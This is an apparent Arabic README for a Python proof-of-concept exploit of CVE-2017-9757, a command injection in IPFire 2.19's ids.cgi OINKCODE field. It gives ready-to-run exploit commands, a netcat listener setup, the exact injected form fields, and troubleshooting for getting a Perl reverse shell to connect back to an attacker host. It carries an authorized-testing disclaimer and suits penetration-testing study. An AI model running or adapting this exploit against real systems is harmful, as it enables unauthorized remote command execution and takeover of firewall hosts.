
يعتمد هذا الاستغلال على CVE-2017-9757 وقد تم بناؤه على الاستغلال الأصلي بواسطة 0x09AL.
إثبات مفهوم بلغة Python لثغرة حقن الأوامر المصادَق عليها في صفحة ids.cgi الخاصة بـ IPFire 2.19 عبر معامل OINKCODE.
مخصص للاختبارات الأمنية المصرّح بها والمختبرات التدريبية فقط. شغّل هذا الـ PoC فقط ضد أنظمة تمتلكها أو لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن سوء الاستخدام أو الأضرار الناجمة عن هذا الكود.
IPFire 2.19 معرّض لحقن أوامر نظام التشغيل في معامل OINKCODE الذي تعالجه /cgi-bin/ids.cgi. يُدمج المعامل في أمر شل دون تحييد مناسب، مما يسمح لمستخدم مصادَق بتنفيذ أوامر على مضيف IPFire.
تُعرَّف الثغرة عمومًا بأنها CVE-2017-9757 وتتوافق مع CWE-78: تحييد غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل ('حقن أوامر نظام التشغيل').
اختُبر الـ PoC العام الأصلي ضد IPFire 2.19 Core Update 110. وتعتبر وحدة Metasploit أن الإصدارات حتى IPFire 2.19 مع Core Update 110 ضمن نطاق الفحص المدعوم.
يُنفذ الـ PoC الأصلي بلغة Python من Exploit-DB طلب تحقق باستخدام:
OINKCODE = '`id`'
ثم يصرّح بأن الهدف معرّض للثغرة فقط إذا احتوت استجابة HTTP على:
uid=99(nobody)
هذا التحقق غير موثوق. قد يُنفَّذ الأمر بينما يستهلك أمر الشل الذي ينشئه CGI مخرجاته بدلًا من أن تنعكس في استجابة HTML المرسلة إلى العميل. ونتيجة لذلك، قد يعيد الخادم صفحة HTTP 200 عادية دون تضمين مخرجات id، مما ينتج عنه نتيجة سلبية خاطئة.
يتبع هذا التنفيذ منطق التحقق الذي تستخدمه وحدة Metasploit:
/cgi-bin/pakfire.cgi باستخدام مصادقة HTTP الأساسية.<= 2.19 وCore Update <= 110 بوصفها تبدو معرّضة للثغرة./cgi-bin/ids.cgi في حقل OINKCODE.200 كطلب مرفوض أو مشكلة مصادقة.uid=99(nobody).يستخدم الـ PoC أيضًا حمولة صدفة أوامر بلغة Perl، بما يطابق عائلة حمولات الأوامر التي تدعمها وحدة Metasploit. لا تُثبت استجابة HTTP الناجحة بحد ذاتها أن الصدفة العكسية اتصلت؛ بل يجب التحقق أيضًا من المستمع ومسار الشبكة.
معيار النجاح المهم في وحدة Metasploit هو أن رمز الاستجابة غير المتوقع يشير إلى بيانات اعتماد غير صالحة أو طلب مرفوض. ولا يتطلب أن يحتوي نص الاستجابة على مخرجات الأمر المُحقَن.
requestsperlثبّت تبعية Python:
python3 -m pip install requests
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--check-only \
--insecure
يُطلب كلمة المرور تفاعليًا عندما لا يتم توفير --password. يُنصح بذلك لأن وضع كلمة المرور مباشرة في أمر قد يعرّضها من خلال سجل الأوامر أو قائمة العمليات.
استخدم مستمعًا على العنوان والمنفذ المقدمين عبر --lhost و--lport:
rlwrap nc -lvnp 4444
إذا لم يكن rlwrap مثبتًا، استخدم:
nc -lvnp 4444
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
بالنسبة لشهادة HTTPS الموقّعة ذاتيًا المعتادة في IPFire، يلزم --insecure/-k. استخدمها فقط عندما يكون التحقق من الشهادة مستحيلًا عمدًا في المختبر.
يمكن أيضًا تقديم الهدف كعنوان URL أساسي كامل:
python3 ipfire_oinkcode_rce.py \
--target https://192.0.2.10:444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
استخدم هذا فقط عندما يكون إصدار IPFire قد تأكد بالفعل بشكل مستقل:
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--skip-version-check \
--insecure
إذا لم يكن Perl في PATH الافتراضي للهدف، فقدم مساره المطلق:
--perl-path /usr/bin/perl
HTTP 200 من ids.cgiيعني هذا أن الـ CGI قبل طلب HTTP وفقًا للمعيار العملي نفسه الذي تستخدمه وحدة Metasploit. استجابة HTML العادية متوقعة وليست دليلًا على فشل فحص الثغرة.
افحص المستمع بحثًا عن الصدفة. إذا لم تصل أي صدفة، تحقق من عنوان الاستدعاء والتوجيه (routing) وقواعد الخروج لجدار الحماية وتوفر Perl والمنفذ المحدد.
HTTP 401 أو HTTP 403لم يكن الطلب مصرحًا به. تحقق من اسم المستخدم وكلمة المرور وعنوان URL للهدف والمنفذ وما إذا كان الحساب قادرًا على الوصول إلى واجهة ويب IPFire.
HTTP 404من المحتمل أن عنوان URL للهدف أو مسار CGI غير صحيح، أو أن الخدمة ليست واجهة ويب IPFire المتوقعة.
تعذّر على السكربت العثور على سلسلة الإصدار المتوقعة في pakfire.cgi. أكّد الهدف يدويًا قبل استخدام --skip-version-check.
قد يُبقي الأمر المُحقَن طلب CGI مفتوحًا أثناء محاولة الاستدعاء. تعامل مع هذا كمؤشر على ضرورة فحص المستمع، وليس كدليل قاطع على وجود صدفة.
يستخدم السكربت مصادقة HTTP الأساسية ويرسل حقول النموذج التالية إلى ids.cgi:
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort
يُحاط الأمر بعلامتَي backtick لأن التطبيق المعرّض للثغرة يمرر قيمة OINKCODE إلى أمر شل. يعتمد سلوك الطلب الدقيق على إصدار الهدف وإعداده المحلي.
200 تؤكد قبول الطلب، وليس وصول الصدفة العكسية إلى المستمع.ipfire_oinkcode_exec.rbهذا المشروع تنفيذ تعليمي بلغة Python يستند إلى البحث العام وإثبات المفهوم من 0x09AL، وإلى وحدة Metasploit التي يحافظ عليها مجتمع Metasploit. وهو غير تابع لـ IPFire أو Exploit-DB أو Rapid7 ولا يحظى بتأييدها.
| الميزة | Exploit-DB 42149 Python PoC | Exploit-DB 42369 / Metasploit | هذا الـ PoC |
|---|
| نقطة النهاية القابلة للاستغلال | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi |
| فحص الإصدار | لا يوجد | GET /cgi-bin/pakfire.cgi | نفس فحص نمط Metasploit |
| المصادقة | المصادقة الأساسية | ترويسة المصادقة الأساسية | المصادقة الأساسية عبر requests.Session |
| التحقق الأولي | تنفيذ `id` والبحث في نص الاستجابة | فحص الإصدار ثم إرسال الحمولة | فحص الإصدار واستخدام رمز نتيجة HTTP |
| خطر النتيجة السلبية الخاطئة | مرتفع: يعتمد على انعكاس uid=99(nobody) | يتجنب التحقق من محتوى النص | يتجنب التحقق من محتوى النص |
| الصدفة العكسية | Bash /dev/tcp | حمولة أوامر Unix من Metasploit | صدفة أوامر Perl IO::Socket::INET |
| التعامل مع TLS | تعطيل التحقق من الشهادة في الـ PoC | SSL مفعّل افتراضيًا | يُعطَّل التحقق فقط باستخدام -k/--insecure |
| الإعدادات | تُعدَّل القيم في الكود المصدري | خيارات Metasploit | وسائط سطر الأوامر |
| الخيار | الافتراضي | الوصف |
|---|
-t, --target | مطلوب | مضيف/عنوان IP الهدف أو عنوان URL أساسي كامل |
--scheme | https | المخطط (scheme) المستخدم عندما يكون الهدف مضيفًا/عنوان IP فقط |
--web-port | 444 | منفذ واجهة ويب IPFire |
-u, --username | admin | اسم مستخدم IPFire |
-p, --password | يُطلب | كلمة المرور؛ احذفها لإدخالها دون ظهور |
--lhost | مطلوب | عنوان المستمع الذي يمكن الوصول إليه من IPFire |
--lport | 4444 | منفذ المستمع |
--perl-path | perl | ملف Perl التنفيذي على الهدف |
--timeout | 10 | مهلة HTTP بالثواني |
-k, --insecure | معطّل | تعطيل التحقق من شهادة TLS |
--skip-version-check | معطّل | تخطي فحص pakfire.cgi |
--check-only | معطّل | تنفيذ فحص الإصدار فقط |